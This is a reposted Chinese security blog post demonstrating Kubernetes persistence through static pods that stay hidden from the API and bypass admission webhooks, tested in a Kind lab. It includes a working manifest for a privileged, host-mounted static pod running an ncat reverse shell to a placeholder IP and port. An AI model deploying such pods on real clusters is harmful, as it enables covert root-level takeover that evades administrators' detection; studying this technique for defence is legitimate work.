隐匿 Pod:利用静态 Pod 进行集群权限维持

admin 2024年11月27日11:29:50评论13 views字数 3935阅读13分7秒阅读模式

      静态 pod 是由 kubelet (节点组件)管理的 pod,kubelet 是集群中每个节点上运行的主要节点代理,而不是 K8S API。因为静态 pod 是由 kubelet 管理,所以它们不能引用其他 K8S 对象(如 secrets、config maps、服务账号等)。

创建静态 pod 只需在节点对应路径下写入 pod 配置文件,kubelet 即可自动创建 pod,删除 pod 也是直接删除配置文件即可。具体可见:https://mp.weixin.qq.com/s/98Aok2Tc4XaJRGeifY6R8w

按道理来说,静态 pod 不由 K8S API 创建与管理,故在集群中使用 kubectl get pods 是无法获取静态 pod 信息的,但是 kubelet 会自动尝试为每个静态 pod 在 K8S API 服务器上创建一个镜像 pod, 目的是将静态 pod 报告给 K8S 控制平面,使得它们可见,但仍不可以通过 API 服务器来控制静态 pod,

可利用的点:

① 如果攻击者在创建静态 pod 时使用了无效的 namespace, 则 kubelet 无法创建对应镜像 pod,进而使该 pod 在 K8S API 中不可见(这并不影响静态 pod 的创建)。

② 静态 pod 是无视准入控制的,故可创建具备高危权限的容器。静态 pod 是由 kubelet 直接创建的,绕过了 K8S API Server 的准入控制和权限管理流程。

下面进行实验演示。

用 Kind 创建集群,Kind 貌似无法使用 PodSecurity 准入控制器,不过用内置的 ValidatingAdmissionWebhook 准入控制器可达到类似的效果,

kind create cluster --config - --image registry.cn-hangzhou.aliyuncs.com/testltr/kindest-node:v1.31.1 <<EOFkind: ClusterapiVersion: kind.x-k8s.io/v1alpha4name: demonodes:- role: control-plane  image: registry.cn-hangzhou.aliyuncs.com/testltr/kindest-node:v1.31.1  extraPortMappings:  - containerPort: 6443    hostPort: 61213    listenAddress: "0.0.0.0"- role: worker  image: registry.cn-hangzhou.aliyuncs.com/testltr/kindest-node:v1.31.1EOF

在另外一台机器上配置 Webhook 服务,该服务必须得使用https,创建 OpenSSL 配置文件,<ip> 修改为具体的机器IP,该机器与集群可正常通信,下述是 openssl.cnf,

[ req ]default_bits = 2048prompt = nodefault_md = sha256distinguished_name = dnx509_extensions = v3_req[ dn ]CN = <ip>[ v3_req ]subjectAltName = @alt_names[ alt_names ]IP.1 = <ip>

生成证书和私钥,

openssl req -x509 -newkey rsa:2048 -keyout server.key -out server.crt -days 365 -nodes -config openssl.cnf

证书同目录下运行下方py代码,作用是检查创建的 pod 是否共享了节点的命名空间,

from flask import Flask, request, jsonifyapp = Flask(__name__)@app.route('/validate', methods=['POST'])def validate_pod():    request_data = request.get_json()    # 获取请求中的 uid    uid = request_data.get("request", {}).get("uid", "")    print(f"Received request with uid: {uid}")  # 打印请求的 uid    pod_spec = request_data.get("request", {}).get("object", {}).get("spec", {})    # 检查是否启用了主机命名空间    if pod_spec.get("hostPID", False) or pod_spec.get("hostIPC", False) or pod_spec.get("hostNetwork", False):        response_data = {            "apiVersion": "admission.k8s.io/v1",  # 添加 apiVersion 字段            "kind": "AdmissionReview",  # 添加 kind 字段            "response": {                "uid": uid,  # 使用请求中的 uid                "allowed": False,                "status": {                    "message": "Sharing host namespace is not allowed."                }            }        }    else:        response_data = {            "apiVersion": "admission.k8s.io/v1",  # 添加 apiVersion 字段            "kind": "AdmissionReview",  # 添加 kind 字段            "response": {                "uid": uid,  # 使用请求中的 uid                "allowed": True            }        }    # 打印返回的响应内容    print(f"Sending response: {response_data}")  # 打印响应的内容    return jsonify(response_data)if __name__ == '__main__':    app.run(host='0.0.0.0', port=443, ssl_context=('server.crt', 'server.key'))  # 需要使用 HTTPS

隐匿 Pod:利用静态 Pod 进行集群权限维持

将 server.crt 编码,下面要用,cat server.crt | base64 -w 0

创建一个 ValidatingWebhookConfiguration,用于验证 Pod 的配置,禁止设置共享主机命名空间,

echo 'apiVersion: admissionregistration.k8s.io/v1kind: ValidatingWebhookConfigurationmetadata:  name: disallow-shared-host-namespacewebhooks:  - name: validate-pod.example.com    rules:      - apiGroups: [""]        apiVersions: ["v1"]        operations: ["CREATE"]        resources: ["pods"]    clientConfig:      url: "https://<your-server-ip-or-domain>:443/validate"      caBundle: <base64-encoded-server-cert>  # CA 证书(如自签名证书)    admissionReviewVersions: ["v1"]    sideEffects: None' | kubectl apply -f -

隐匿 Pod:利用静态 Pod 进行集群权限维持

检验准入控制器是否生效,故创建一个共享主机命名空间的 pod,

echo 'apiVersion: v1kind: Podmetadata:  name: test-podspec:  hostPID: true  containers:  - name: nginx    image: docker.io/library/alpine:latest    imagePullPolicy: Never' | kubectl apply -f -

拦截成功,上述 pod 无法创建。隐匿 Pod:利用静态 Pod 进行集群权限维持

Webhook 服务返回日志,隐匿 Pod:利用静态 Pod 进行集群权限维持

在上述环境下创建恶意的静态 pod。

在 Master 节点中写入一个静态恶意 pod 配置文件,该 pod 具备非常完备的高危配置,修改配置文件 args 字段中 ip port 以便接收反弹 shell,

echo 'apiVersion: v1kind: Podmetadata:  name: ncat-static-pod   namespace: ltrspec:  hostNetwork: true  hostPID: true  hostIPC: true  containers:  - name: ncat-static-pod    image: docker.io/library/ncat:latest    imagePullPolicy: Never     command: [ "/bin/sh", "-c", "--" ]    args: [ "while true; do ncat --ssl ip port -e /bin/bash; sleep 3600; done" ]    securityContext:      privileged: true    volumeMounts:    - mountPath: /host      name: noderoot  volumes:  - name: noderoot    hostPath:      path: /' | tee /etc/kubernetes/manifests/ncat-static.yaml

写入成功,隐匿 Pod:利用静态 Pod 进行集群权限维持

远端服务器接收反弹shell成功,并直接是 Master 节点主机的权限,准入控制器并未拦截。隐匿 Pod:利用静态 Pod 进行集群权限维持

同时,在集群中是查找不到该恶意的静态 pod 的。隐匿 Pod:利用静态 Pod 进行集群权限维持

参考:

官方文档中对于静态 Pod 的风险说明

https://kubernetes.io/zh-cn/docs/concepts/security/api-server-bypass-risks/#static-pods

原文始发于微信公众号(安全小将李坦然):隐匿 Pod:利用静态 Pod 进行集群权限维持

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月27日11:29:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   隐匿 Pod:利用静态 Pod 进行集群权限维持https://cn-sec.com/archives/3432463.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息